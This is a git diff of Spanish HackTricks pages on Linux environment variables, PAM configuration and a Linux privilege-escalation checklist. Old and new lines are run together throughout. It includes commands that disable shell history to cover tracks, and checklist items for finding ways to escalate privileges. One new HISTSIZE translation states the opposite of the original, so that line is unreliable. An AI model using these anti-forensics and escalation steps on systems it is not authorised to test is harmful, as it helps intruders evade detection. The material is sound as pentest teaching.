* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Variables de entorno de Linux # Variables de Entorno de Linux
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}
**Grupo de Seguridad Try Hard** **Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -24,7 +25,7 @@ Otras formas de apoyar a HackTricks:
## Variables globales ## Variables globales
Las variables globales **serán** heredadas por los **procesos secundarios**. Las variables globales **serán** heredadas por **procesos hijos**.
Puedes crear una variable global para tu sesión actual haciendo: Puedes crear una variable global para tu sesión actual haciendo:
```bash ```bash
@ -39,17 +40,13 @@ unset MYGLOBAL
``` ```
## Variables locales ## Variables locales
Las **variables locales** solo pueden ser **accedidas** por la **shell/script actual**. Las **variables locales** solo pueden ser **accedidas** por el **shell/script actual**.
```bash ```bash
LOCAL="my local" LOCAL="my local"
echo $LOCAL echo $LOCAL
unset LOCAL unset LOCAL
``` ```
## Listar variables actuales ## Listar variables actuales
```bash
printenv
```
```bash ```bash
set set
env env
@ -57,39 +54,39 @@ printenv
cat /proc/$$/environ cat /proc/$$/environ
cat /proc/`python -c "import os; print(os.getppid())"`/environ cat /proc/`python -c "import os; print(os.getppid())"`/environ
``` ```
## Variables comunes ## Common variables
Desde: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/) From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
* **DISPLAY** la pantalla utilizada por **X**. Esta variable suele establecerse en **:0.0**, lo que significa la primera pantalla en la computadora actual. * **DISPLAY** la pantalla utilizada por **X**. Esta variable generalmente se establece en **:0.0**, lo que significa la primera pantalla en la computadora actual.
* **EDITOR** el editor de texto preferido del usuario. * **EDITOR** el editor de texto preferido del usuario.
* **HISTFILESIZE** el número máximo de líneas contenidas en el archivo de historial. * **HISTFILESIZE** el número máximo de líneas contenidas en el archivo de historial.
* **HISTSIZE** Número de líneas añadidas al archivo de historial cuando el usuario finaliza su sesión. * **HISTSIZE** Número de líneas añadidas al archivo de historial cuando el usuario termina su sesión.
* **HOME** tu directorio de inicio. * **HOME** tu directorio personal.
* **HOSTNAME** el nombre de host de la computadora. * **HOSTNAME** el nombre del host de la computadora.
* **LANG** tu idioma actual. * **LANG** tu idioma actual.
* **MAIL** la ubicación del buzón de correo del usuario. Normalmente **/var/spool/mail/USUARIO**. * **MAIL** la ubicación de la cola de correo del usuario. Generalmente **/var/spool/mail/USER**.
* **MANPATH** la lista de directorios donde buscar páginas de manual. * **MANPATH** la lista de directorios para buscar páginas de manual.
* **OSTYPE** el tipo de sistema operativo. * **OSTYPE** el tipo de sistema operativo.
* **PS1** el indicador predeterminado en bash. * **PS1** el aviso predeterminado en bash.
* **PATH** almacena la ruta de todos los directorios que contienen archivos binarios que deseas ejecutar solo especificando el nombre del archivo y no la ruta relativa o absoluta. * **PATH** almacena la ruta de todos los directorios que contienen archivos binarios que deseas ejecutar solo especificando el nombre del archivo y no por ruta relativa o absoluta.
* **PWD** el directorio de trabajo actual. * **PWD** el directorio de trabajo actual.
* **SHELL** la ruta del shell de comandos actual (por ejemplo, **/bin/bash**). * **SHELL** la ruta al shell de comandos actual (por ejemplo, **/bin/bash**).
* **TERM** el tipo de terminal actual (por ejemplo, **xterm**). * **TERM** el tipo de terminal actual (por ejemplo, **xterm**).
* **TZ** tu zona horaria. * **TZ** tu zona horaria.
* **USER** tu nombre de usuario actual. * **USER** tu nombre de usuario actual.
## Variables interesantes para hacking ## Interesting variables for hacking
### **HISTFILESIZE** ### **HISTFILESIZE**
Cambia el **valor de esta variable a 0**, de modo que cuando **finalices tu sesión** el **archivo de historial** (\~/.bash\_history) **se eliminará**. Cambia el **valor de esta variable a 0**, para que cuando **termines tu sesión** el **archivo de historial** (\~/.bash\_history) **sea eliminado**.
```bash ```bash
export HISTFILESIZE=0 export HISTFILESIZE=0
``` ```
### **HISTSIZE** ### **HISTSIZE**
Cambie el **valor de esta variable a 0**, de modo que cuando **finalice su sesión** ningún comando se agregará al **archivo de historial** (\~/.bash\_history). Cambia el **valor de esta variable a 0**, para que cuando **termines tu sesión** cualquier comando se agregue al **archivo de historial** (\~/.bash\_history).
```bash ```bash
export HISTSIZE=0 export HISTSIZE=0
``` ```
@ -109,7 +106,7 @@ export SSL_CERT_DIR=/path/to/ca-certificates
``` ```
### PS1 ### PS1
Cambia cómo se ve tu indicador. Cambia cómo se ve tu aviso.
[**Este es un ejemplo**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) [**Este es un ejemplo**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
@ -125,26 +122,27 @@ Uno, dos y tres trabajos en segundo plano:
![](<../.gitbook/assets/image (145).png>) ![](<../.gitbook/assets/image (145).png>)
Un trabajo en segundo plano, uno detenido y el último comando no finalizó correctamente: Un trabajo en segundo plano, uno detenido y el último comando no terminó correctamente:
![](<../.gitbook/assets/image (715).png>) ![](<../.gitbook/assets/image (715).png>)
**Grupo de Seguridad Try Hard** **Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# PAM - Módulos de Autenticación Enchufables # PAM - Módulos de Autenticación Pluggable
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io) #### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**. [**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**.
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información. Su objetivo principal en WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
Puedes visitar su sitio web y probar su motor de forma **gratuita** en: Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
@ -30,14 +31,14 @@ Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
### Información Básica ### Información Básica
**PAM (Módulos de Autenticación Enchufables)** actúa como un mecanismo de seguridad que **verifica la identidad de los usuarios que intentan acceder a los servicios informáticos**, controlando su acceso en función de varios criterios. Es similar a un portero digital, asegurando que solo los usuarios autorizados puedan interactuar con servicios específicos, al mismo tiempo que potencialmente limita su uso para evitar sobrecargas del sistema. **PAM (Módulos de Autenticación Pluggable)** actúa como un mecanismo de seguridad que **verifica la identidad de los usuarios que intentan acceder a los servicios informáticos**, controlando su acceso en función de varios criterios. Es similar a un portero digital, asegurando que solo los usuarios autorizados puedan interactuar con servicios específicos mientras limita potencialmente su uso para prevenir sobrecargas del sistema.
#### Archivos de Configuración #### Archivos de Configuración
* Los **sistemas Solaris y basados en UNIX** suelen utilizar un archivo de configuración central ubicado en `/etc/pam.conf`. * Los **sistemas Solaris y basados en UNIX** suelen utilizar un archivo de configuración central ubicado en `/etc/pam.conf`.
* Los **sistemas Linux** prefieren un enfoque de directorio, almacenando configuraciones específicas del servicio dentro de `/etc/pam.d`. Por ejemplo, el archivo de configuración para el servicio de inicio de sesión se encuentra en `/etc/pam.d/login`. * Los **sistemas Linux** prefieren un enfoque de directorio, almacenando configuraciones específicas de servicios dentro de `/etc/pam.d`. Por ejemplo, el archivo de configuración para el servicio de inicio de sesión se encuentra en `/etc/pam.d/login`.
Un ejemplo de una configuración PAM para el servicio de inicio de sesión podría verse así: Un ejemplo de una configuración de PAM para el servicio de inicio de sesión podría verse así:
``` ```
auth required /lib/security/pam_securetty.so auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so auth required /lib/security/pam_nologin.so
@ -50,27 +51,27 @@ password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so session required /lib/security/pam_unix_session.so
``` ```
#### **Reinos de Gestión de PAM** #### **Reinos de Gestión PAM**
Estos reinos, o grupos de gestión, incluyen **auth**, **account**, **password** y **session**, cada uno responsable de diferentes aspectos del proceso de autenticación y gestión de sesiones: Estos reinos, o grupos de gestión, incluyen **auth**, **account**, **password** y **session**, cada uno responsable de diferentes aspectos del proceso de autenticación y gestión de sesiones:
- **Auth**: Valida la identidad del usuario, a menudo solicitando una contraseña. * **Auth**: Valida la identidad del usuario, a menudo solicitando una contraseña.
- **Account**: Maneja la verificación de la cuenta, verificando condiciones como la pertenencia a un grupo o restricciones de hora del día. * **Account**: Maneja la verificación de cuentas, comprobando condiciones como la membresía en grupos o restricciones de horario.
- **Password**: Gestiona las actualizaciones de contraseñas, incluida la verificación de complejidad o la prevención de ataques de diccionario. * **Password**: Gestiona las actualizaciones de contraseñas, incluyendo verificaciones de complejidad o prevención de ataques de diccionario.
- **Session**: Gestiona acciones durante el inicio o final de una sesión de servicio, como montar directorios o establecer límites de recursos. * **Session**: Gestiona acciones durante el inicio o final de una sesión de servicio, como montar directorios o establecer límites de recursos.
#### **Controles de Módulos PAM** #### **Controles de Módulo PAM**
Los controles dictan la respuesta del módulo ante el éxito o el fracaso, influyendo en el proceso de autenticación en general. Estos incluyen: Los controles dictan la respuesta del módulo ante el éxito o el fracaso, influyendo en el proceso de autenticación general. Estos incluyen:
- **Required**: El fracaso de un módulo requerido resulta en un fracaso eventual, pero solo después de que se verifiquen todos los módulos subsiguientes. * **Required**: El fallo de un módulo requerido resulta en un eventual fracaso, pero solo después de que se verifiquen todos los módulos subsiguientes.
- **Requisite**: Terminación inmediata del proceso al fallar. * **Requisite**: Terminación inmediata del proceso al fallar.
- **Sufficient**: El éxito evita el resto de las verificaciones del mismo reino a menos que falle un módulo posterior. * **Sufficient**: El éxito omite el resto de las verificaciones del mismo reino a menos que un módulo subsiguiente falle.
- **Optional**: Solo causa un fallo si es el único módulo en la pila. * **Optional**: Solo causa fallo si es el único módulo en la pila.
#### Escenario de Ejemplo #### Escenario de Ejemplo
En una configuración con múltiples módulos de autenticación, el proceso sigue un orden estricto. Si el módulo `pam_securetty` encuentra que el terminal de inicio de sesión no está autorizado, se bloquean los inicios de sesión de root, pero todos los módulos aún se procesan debido a su estado "required". El `pam_env` establece variables de entorno, lo que potencialmente ayuda en la experiencia del usuario. Los módulos `pam_ldap` y `pam_unix` trabajan juntos para autenticar al usuario, con `pam_unix` intentando usar una contraseña suministrada previamente, mejorando la eficiencia y flexibilidad en los métodos de autenticación. En una configuración con múltiples módulos de auth, el proceso sigue un orden estricto. Si el módulo `pam_securetty` encuentra el terminal de inicio de sesión no autorizado, los inicios de sesión de root son bloqueados, sin embargo, todos los módulos aún se procesan debido a su estado de "required". El `pam_env` establece variables de entorno, potencialmente ayudando en la experiencia del usuario. Los módulos `pam_ldap` y `pam_unix` trabajan juntos para autenticar al usuario, con `pam_unix` intentando usar una contraseña previamente suministrada, mejorando la eficiencia y flexibilidad en los métodos de autenticación.
### Referencias ### Referencias
@ -80,24 +81,25 @@ En una configuración con múltiples módulos de autenticación, el proceso sigu
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares ladrones**. [**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información. Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
Puedes visitar su sitio web y probar su motor de forma **gratuita** en: Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,79 +1,80 @@
# Lista de verificación - Escalada de privilegios en Linux # Lista de verificación - Escalación de privilegios en Linux
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores. Únete al [**Discord de HackenProof**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs.
**Información de Hacking**\ **Perspectivas de Hacking**\
Involúcrate con contenido que profundiza en la emoción y los desafíos del hacking Involúcrate con contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\ **Noticias de Hackeo en Tiempo Real**\
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\ **Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo! **Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
### **Mejor herramienta para buscar vectores de escalada de privilegios locales en Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) ### **Mejor herramienta para buscar vectores de escalación de privilegios locales en Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### [Información del Sistema](privilege-escalation/#system-information) ### [Información del Sistema](privilege-escalation/#system-information)
* [ ] Obtener **información del SO** * [ ] Obtener **información del SO**
* [ ] Verificar la [**RUTA**](privilege-escalation/#path), ¿alguna **carpeta escribible**? * [ ] Verificar el [**PATH**](privilege-escalation/#path), ¿hay alguna **carpeta escribible**?
* [ ] Verificar las [**variables de entorno**](privilege-escalation/#env-info), ¿algún detalle sensible? * [ ] Verificar [**variables de entorno**](privilege-escalation/#env-info), ¿hay algún detalle sensible?
* [ ] Buscar [**exploits de kernel**](privilege-escalation/#kernel-exploits) **usando scripts** (DirtyCow?) * [ ] Buscar [**exploits del kernel**](privilege-escalation/#kernel-exploits) **usando scripts** (¿DirtyCow?)
* [ ] **Verificar** si la [**versión de sudo** es vulnerable](privilege-escalation/#sudo-version) * [ ] **Verificar** si la [**versión de sudo** es vulnerable](privilege-escalation/#sudo-version)
* [ ] [**Fallo de verificación de firma en Dmesg**](privilege-escalation/#dmesg-signature-verification-failed) * [ ] [**Dmesg** verificación de firma fallida](privilege-escalation/#dmesg-signature-verification-failed)
* [ ] Más enumeración del sistema ([fecha, estadísticas del sistema, información de la CPU, impresoras](privilege-escalation/#more-system-enumeration)) * [ ] Más enumeración del sistema ([fecha, estadísticas del sistema, información de CPU, impresoras](privilege-escalation/#more-system-enumeration))
* [ ] [Enumerar más defensas](privilege-escalation/#enumerate-possible-defenses) * [ ] [Enumerar más defensas](privilege-escalation/#enumerate-possible-defenses)
### [Unidades](privilege-escalation/#drives) ### [Unidades](privilege-escalation/#drives)
* [ ] **Listar unidades** montadas * [ ] **Listar unidades** montadas
* [ ] ¿Algún unidad no montada? * [ ] **¿Alguna unidad no montada?**
* [ ] ¿Algún credencial en fstab? * [ ] **¿Alguna credencial en fstab?**
### [**Software Instalado**](privilege-escalation/#installed-software) ### [**Software Instalado**](privilege-escalation/#installed-software)
* [ ] **Verificar si hay** [**software útil**](privilege-escalation/#useful-software) **instalado** * [ ] **Verificar** [**software útil**](privilege-escalation/#useful-software) **instalado**
* [ ] **Verificar si hay** [**software vulnerable**](privilege-escalation/#vulnerable-software-installed) **instalado** * [ ] **Verificar** [**software vulnerable**](privilege-escalation/#vulnerable-software-installed) **instalado**
### [Procesos](privilege-escalation/#processes) ### [Procesos](privilege-escalation/#processes)
* [ ] ¿Se está ejecutando algún **software desconocido**? * [ ] ¿Hay algún **software desconocido en ejecución**?
* [ ] ¿Se está ejecutando algún software con **más privilegios de los que debería tener**? * [ ] ¿Hay algún software en ejecución con **más privilegios de los que debería tener**?
* [ ] Buscar **exploits de procesos en ejecución** (especialmente la versión en ejecución). * [ ] Buscar **exploits de procesos en ejecución** (especialmente la versión en ejecución).
* [ ] ¿Puedes **modificar el binario** de algún proceso en ejecución? * [ ] ¿Puedes **modificar el binario** de algún proceso en ejecución?
* [ ] **Monitorear procesos** y verificar si se está ejecutando algún proceso interesante con frecuencia. * [ ] **Monitorear procesos** y verificar si algún proceso interesante se está ejecutando con frecuencia.
* [ ] ¿Puedes **leer** alguna **memoria de proceso** interesante (donde podrían estar guardadas contraseñas)? * [ ] ¿Puedes **leer** alguna **memoria de proceso** interesante (donde podrían guardarse contraseñas)?
### [¿Trabajos programados/Cron?](privilege-escalation/#scheduled-jobs) ### [¿Tareas programadas/Cron?](privilege-escalation/#scheduled-jobs)
* [ ] ¿Se está modificando la [**RUTA** ](privilege-escalation/#cron-path)por algún cron y puedes **escribir** en ella? * [ ] ¿El [**PATH**](privilege-escalation/#cron-path) está siendo modificado por algún cron y puedes **escribir** en él?
* [ ] ¿Algún [**comodín** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)en un trabajo cron? * [ ] ¿Algún [**comodín**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection) en un trabajo cron?
* [ ] ¿Algún [**script modificable** ](privilege-escalation/#cron-script-overwriting-and-symlink)se está **ejecutando** o está dentro de una **carpeta modificable**? * [ ] ¿Algún [**script modificable**](privilege-escalation/#cron-script-overwriting-and-symlink) está siendo **ejecutado** o está dentro de una **carpeta modificable**?
* [ ] ¿Has detectado que algún **script** podría estar siendo [**ejecutado** muy **frecuentemente**](privilege-escalation/#frequent-cron-jobs)? (cada 1, 2 o 5 minutos) * [ ] ¿Has detectado que algún **script** podría estar o está siendo [**ejecutado** muy **frecuentemente**](privilege-escalation/#frequent-cron-jobs)? (cada 1, 2 o 5 minutos)
### [Servicios](privilege-escalation/#services) ### [Servicios](privilege-escalation/#services)
